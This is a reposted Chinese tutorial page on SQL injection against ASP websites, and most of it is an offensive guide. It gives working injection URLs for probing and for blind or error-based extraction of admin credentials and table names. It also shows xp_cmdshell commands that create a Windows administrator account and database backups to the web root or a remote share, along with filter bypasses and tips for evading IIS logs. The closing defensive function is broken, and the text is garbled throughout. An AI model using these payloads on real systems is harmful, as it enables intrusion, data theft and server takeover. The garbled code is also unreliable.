sql注入:SQL注入天书来源: 发布时间:星期四, 2009年2月12日 浏览:142次 评论:0
引言 随着B/S模式应用开发发展使用这种模式编写应用员也越来越多但是由于这个行业入门门槛不高员水平及经验也参差不齐相当大部分员在编写代码时候没有对用户输入数据合法性进行判断使应用存在安全隐患用户可以提交段数据库查询代码根据返回结果获得某些他想得知数据这就是所谓SQLInjection即SQL注入 SQL注入是从正常WWW端口访问而且表面看起来跟般Web页面访问没什么区别所以目前市面防火墙都不会对SQL注入发出警报如果管理员没查看IIS日志习惯可能被入侵很长时间都不会发觉 但是SQL注入手法相当灵活在注入时候会碰到很多意外情况能不能根据具体情况进行分析构造巧妙SQL语句从而成功获取想要数据是高手和“菜鸟”根本区别 根据国情国内网站WebSite用ASP+Access或SQLServer占70%以上PHP+MySQ占L20%其他不足10%在本文我们从分入门、进阶至高级讲解下ASP注入思路方法及窍门技巧PHP注入文章由NB联盟另位朋友zwell撰写希望对安全工作者和员都有用处了解ASP注入朋友也请不要跳过入门篇部分人对注入基本判断思路方法还存在误区大家准备好了吗?LetsGo... 入门篇 如果你以前没试过SQL注入话那么第步先把IE菜单=>工具=>Internet选项=>高级=>显示友好HTTP信息前面勾去掉否则不论服务器返回什么IE都只显示为HTTP500服务器不能获得更多提示信息 第节、SQL注入原理 以下我们从个网站WebSitewww.mytest.com开始(注:本文发表前已征得该站站长同意大部分都是真实数据) 在网站WebSite首页上有名为“IE不能打开新窗口多种解决思路方法”链接地址为:http://www.mytest.com/showdetail.asp?id=49我们在这个地址后面加上单引号’服务器会返回下面提示: MicrosoftJETDatabaseEngine80040e14 串语法在查询表达式ID=49中 /showdetail.asp行8 从这个提示我们能看出下面几点: 1.网站WebSite使用是Access数据库通过JET引擎连接数据库而不是通过ODBC 2.没有判断客户端提交数据是否符合要求 3.该SQL语句所查询表中有名为ID字段 从上面例子我们可以知道SQL注入原理就是从客户端提交特殊代码从而收集及服务器信息从而获取你想到得到资料 第 2节、判断能否进行SQL注入 看完第节有些人会觉得:我也是经常这样测试能否注入这不是很简单吗? 其实这并不是最好思路方法为什么呢? 首先不定每台服务器IIS都返回具体提示给客户端如果中加了c(参数)的类语句话SQL注入是不会成功但服务器同样会报错具体提示信息为处理URL时服务器上出错请和系统管理员联络 其次部分对SQL注入有点了解员认为只要把单引号过滤掉就安全了这种情况不为少数如果你用单引号测试是测不到注入点 那么什么样测试思路方法才是比较准确呢?答案如下: ①http://www.mytest.com/showdetail.asp?id=49 ②http://www.mytest.com/showdetail.asp?id=49;and1=1 ③http://www.mytest.com/showdetail.asp?id=49;and1=2 这就是经典1=1、1=2测试法了如何判断呢?看看上面 3个网址返回结果就知道了: 可以注入表现: ①正常显示(这是必然不然就是有了) ②正常显示内容基本和①相同 ③提示BOF或EOF(没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(加了onerrorresumenext) 不可以注入就比较容易判断了①同样正常显示②和③般都会有定义提示或提示类型转换时出错 当然这只是传入参数是数字型时候用判断思路方法实际应用时候会有型和搜索型参数我将在中级篇“SQL注入般步骤”再做分析 第 3节、判断数据库类型及注入思路方法 区别数据库、注入思路方法都是有差异所以在注入的前我们还要判断下数据库类型般ASP最常搭配数据库是Access和SQLServer网上超过99%网站WebSite都是其中的 如何让告诉你它使用什么数据库呢?来看看: SQLServer有些系统变量如果服务器IIS提示没关闭并且SQLServer返回提示话那可以直接从出错信息获取思路方法如下: http://www.mytest.com/showdetail.asp?id=49;anduser>0 这句语句很简单但却包含了SQLServer特有注入思路方法精髓我自己也是在次无意测试中发现这种效率极高猜解思路方法让我看来看看它含义:首先前面语句是正常重点在anduser>0我们知道user是SQLServer个内置变量它值是当前连接用户名类型为nvarchar拿个nvarchar值跟数0比较系统会先试图将nvarchar值转成型当然转过程中肯定会出错SQLServer出错提示是:将nvarchar值”abc”转换数据类型为列时发生语法呵呵abc正是变量user值这样不废吹灰的力就拿到了数据库用户名在以后篇幅里大家会看到很多用这种思路方法语句 顺便说几句众所周知SQLServer用户sa是个等同Adminstrators权限角色拿到了sa权限几乎肯定可以拿到主机Administrator了上面思路方法可以很方便测试出是否是用sa登录要注意是:如果是sa登录提示是将”dbo”转换成列发生而不是”sa” 如果服务器IIS不允许返回提示那如何判断数据库类型呢?我们可以从Access和SQLServer和区别入手Access和SQLServer都有自己系统表比如存放数据库中所有对象表Access是在系统表[msysobjects]中但在Web环境下读该表会提示“没有权限”SQLServer是在表[sysobjects]中在Web环境下可正常读取 在确认可以注入情况下使用下面语句: http://www.mytest.com/showdetail.asp?id=49;and(selectcount(*)fromsysobjects)>0 http://www.mytest.com/showdetail.asp?id=49;and(selectcount(*)frommsysobjects)>0 如果数据库是SQLServer那么第个网址页面和原页面http://www.mytest.com/showdetail.asp?id=49是大致相同;而第 2个网址由于找不到表msysobjects会提示出错就算有容错处理页面也和原页面完全区别 如果数据库用是Access那么情况就有所区别第个网址页面和原页面完全区别;第 2个网址则视乎数据库设置是否允许读该系统表般来说是不允许所以和原网址也是完全区别大多数情况下用第个网址就可以得知系统所用数据库类型第 2个网址只作为开启IIS提示时验证 进阶篇 在入门篇我们学会了SQL注入判断思路方法但真正要拿到网站WebSite保密内容是远远不够接下来我们就继续学习如何从数据库中获取想要获得内容首先我们先看看SQL注入般步骤: 第节、SQL注入般步骤 首先判断环境寻找注入点判断数据库类型这在入门篇已经讲过了 其次根据注入参数类型在脑海中重构SQL语句原貌按参数类型主要分为下面 3种: (A)ID=49这类注入参数是数字型SQL语句原貌大致如下: Select*from表名where字段=49 注入参数为ID=49And[查询条件]即是生成语句: Select*from表名where字段=49And[查询条件] (B)Class=连续剧这类注入参数是型SQL语句原貌大致概如下: Select*from表名where字段=’连续剧’ 注入参数为Class=连续剧’and[查询条件]and‘’=’即是生成语句: Select*from表名where字段=’连续剧’and[查询条件]and‘’=’’ ©搜索时没过滤参数如keyword=关键字SQL语句原貌大致如下: Select*from表名where字段like’%关键字%’ 注入参数为keyword=’and[查询条件]and‘%25’=’即是生成语句: Select*from表名where字段like’%’and[查询条件]and‘%’=’%’ 接着将查询条件替换成SQL语句猜解表名例如: ID=49And(SelectCount(*)fromAdmin)>=0 如果页面就和ID=49相同介绍说明附加条件成立即表Admin存在反的即不存在(请牢记这种思路方法)如此循环直至猜到表名为止 表名猜出来后将Count(*)替换成Count(字段名)用同样原理猜解字段名 有人会说:这里有些偶然成分如果表名起得很复杂没规律那根本就没得玩下去了说得很对这世界根本就不存在100%成功黑客技术苍蝇不叮无缝蛋无论多技术多高深黑客都是别人写得不严密或使用者保密意识不够才有得下手 有点跑题了话说回来对于SQLServer库还是有办法让告诉我们表名及字段名我们在高级篇中会做介绍 最后在表名和列名猜解成功后再使用SQL语句得出字段值下面介绍种最常用思路方法-Ascii逐字解码法虽然这种思路方法速度很慢但肯定是可行思路方法 我们举个例子已知表Admin中存在username字段首先我们取第条记录测试长度: http://www.mytest.com/showdetail.asp?id=49;and(selecttop1len(username)fromAdmin)>0 先介绍说明原理:如果top1username长度大于0则条件成立;接着就是>1、>2、>3这样测试下去直到条件不成立为止比如>7成立>8不成立就是len(username)=8 当然没人会笨得从0,1,2,3个个测试如何样才比较快就看各自发挥了在得到username长度后用mid(username,N,1)截取第N位再asc(mid(username,N,1))得到ASCII码比如: id=49and(selecttop1asc(mid(username,1,1))fromAdmin)>0 同样也是用逐步缩小范围思路方法得到第1位ASCII码注意是英文和数字ASCII码在1-128的间可以用折半法加速猜解如果写成测试效率会有极大提高 第 2节、SQL注入常用 有SQL语言基础人在SQL注入时候成功率比不熟悉人高很多我们有必要提高下自己SQL水平特别是些常用及命令 Access:asc()SQLServer:unicode() 作用:返回某ASCII码 Access:chr(数字)SQLServer:nchar(数字) 作用:和asc相反根据ASCII码返回 Access:mid(串,N,L)SQLServer:sub(串,N,L) 作用:返回串从N个起长度为L子串即N到N+L的间串 Access:abc(数字)SQLServer:abc(数字) 作用:返回数字绝对值(在猜解汉字时候会用到) Access:AbetweenBAndCSQLServer:AbetweenBAndC 作用:判断A是否界于B和C的间 第 3节、中文处理思路方法 在注入中碰到中文是常有事有些人碰到中文就想打退堂鼓了其实只要对中文编码有所了解“中文恐惧症”很快可以克服 先说点常识: Access中中文ASCII码可能会出现负数取出该负数后用abs取绝对值汉字不变 SQLServer中中文ASCII为正数但由于是UNICODE双位编码不能用ascii取得ASCII码必须用unicode返回unicode值再用nchar取得对应中文 了解了上面两点后是不是觉得中文猜解其实也跟英文差不多呢?除了使用要注意、猜解范围大点外思路方法是没什么两样 高级篇 看完入门篇和进阶篇后稍加练习破解般网站WebSite是没问题了但如果碰到表名列名猜不到或作者过滤了些特殊如何提高注入成功率?如何样提高猜解效率?请大家接着往下看高级篇 第节、利用系统表注入SQLServer数据库 SQLServer是个功能强大数据库系统和操作系统也有紧密联系这给开发者带来了很大方便但另方面也为注入者提供了个跳板我们先来看看几个具体例子: ①http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”-- 分号;在SQLServer中表示隔开前后两句语句--表示后面语句为注释所以这句语句在SQLServer中将被分成两句执行先是Select出ID=1记录然后执行存储过程xp_cmdshell这个存储过程用于系统命令于是用net命令新建了用户名为name、密码为passwordwindows帐号接着: ②http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”-- 将新建帐号name加入管理员组不用两分钟你已经拿到了系统最高权限!当然这种思路方法只适用于用sa连接数据库情况否则是没有权限xp_cmdshell ③http://Site/url.asp?id=1;anddb_name>0 前面有个类似例子anduser>0作用是获取连接用户名db_name是另个系统变量返回是连接数据库名 ④http://Site/url.asp?id=1;backupdatabase数据库名todisk=’c:\\inetpub\\wwwroot\\1.db’;-- 这是相当狠招从③拿到数据库名加上某些IIS出错暴露出绝对路径将数据库备份到Web目录下面再用HTTP把整个数据库就完完整整下载回来所有管理员及用户密码都览无遗!在不知道绝对路径时候还可以备份到网络地址思路方法(如\\\\202.96.xx.xx\\Share\\1.db)但成功率不高 ⑤http://Site/url.asp?id=1;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0 前面说过sysobjects是SQLServer系统表存储着所有表名、视图、约束及其它对象xtype=’U’andstatus>0表示用户建立表名上面语句将第个表名取出和0比较大小让报错信息把表名暴露出来第 2、第 3个表名如何获取?还是留给我们聪明读者研究吧 ⑥http://Site/url.asp?id=1;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0 从⑤拿到表名后用object_id(‘表名’)获取表名对应内部IDcol_name(表名ID,1)代表该表第1个字段名将1换成2,3,4...就可以逐个获取所猜解表里面字段名 以上6点是我研究SQLServer注入半年多以来心血结晶可以看出对SQLServer了解程度直接影响着成功率及猜解速度在我研究SQLServer注入的后我在开发方面水平也得到很大提高呵呵也许安全和开发本来就是相辅相成吧 第 2节、绕过限制继续注入 在入门篇提到有很多人喜欢用’号测试注入漏洞所以也有很多人用过滤’号思路方法来“防止”注入漏洞这也许能挡住些入门者攻击但对SQL注入比较熟悉人还是可以利用相关达到绕过限制目 在“SQL注入般步骤”节中我所用语句都是经过我优化让其不包含有单引号;在“利用系统表注入SQLServer数据库”中有些语句包含有’号我们举个例子来看看如何改造这些语句: 简单如wherextype=’U’U对应ASCII码是85所以可以用wherextype=char(85)代替;如果是中文比如wherename=’用户’可以用wherename=nchar(29992)+nchar(25143)代替 第 3节、经验小结 1.有些人会过滤Select、Update、Delete这些关键字但偏偏忘记区分大小写所以大家可以用selecT这样尝试下 2.在猜不到字段名时不妨看看网站WebSite上登录表单般为了方便起见字段名都和表单输入框取相同名字 3.特别注意:地址栏+号传入后解释为空格%2B解释为+号%25解释为%号具体可以参考URLEncode相关介绍 4.用Get思路方法注入时IIS会记录你所有提交串对Post思路方法做则不记录所以能用Post网址尽量不用Get 5.猜解Access时只能用Ascii逐字解码法SQLServer也可以用这种思路方法只需要两者的间区别即可但是如果能用SQLServer报错信息把值暴露出来那效率和准确率会有极大提高 防范思路方法 SQL注入漏洞可谓是“千里的堤溃于蚁穴”这种漏洞在网上极为普遍通常是由于员对注入不了解或者过滤不严格或者某个参数忘记检查导致在这里我给大家个代替ASP中Request可以对切SQL注入SayNO如下: FunctionSafeRequest(ParaName,ParaType) ---传入参数--- ParaName:参数名称-型 ParaType:参数类型-数字型(1表示以上参数是数字0表示以上参数为) DimParaValue ParaValue=Request(ParaName) IfParaType=1then IfnotisNumeric(ParaValue)then Response.write"参数"&ParaName&"必须为数字型!" Response.end End Else ParaValue=replace(ParaValue,"","") End SafeRequest=ParaValue Endfunction 0
相关文章读者评论发表评论 |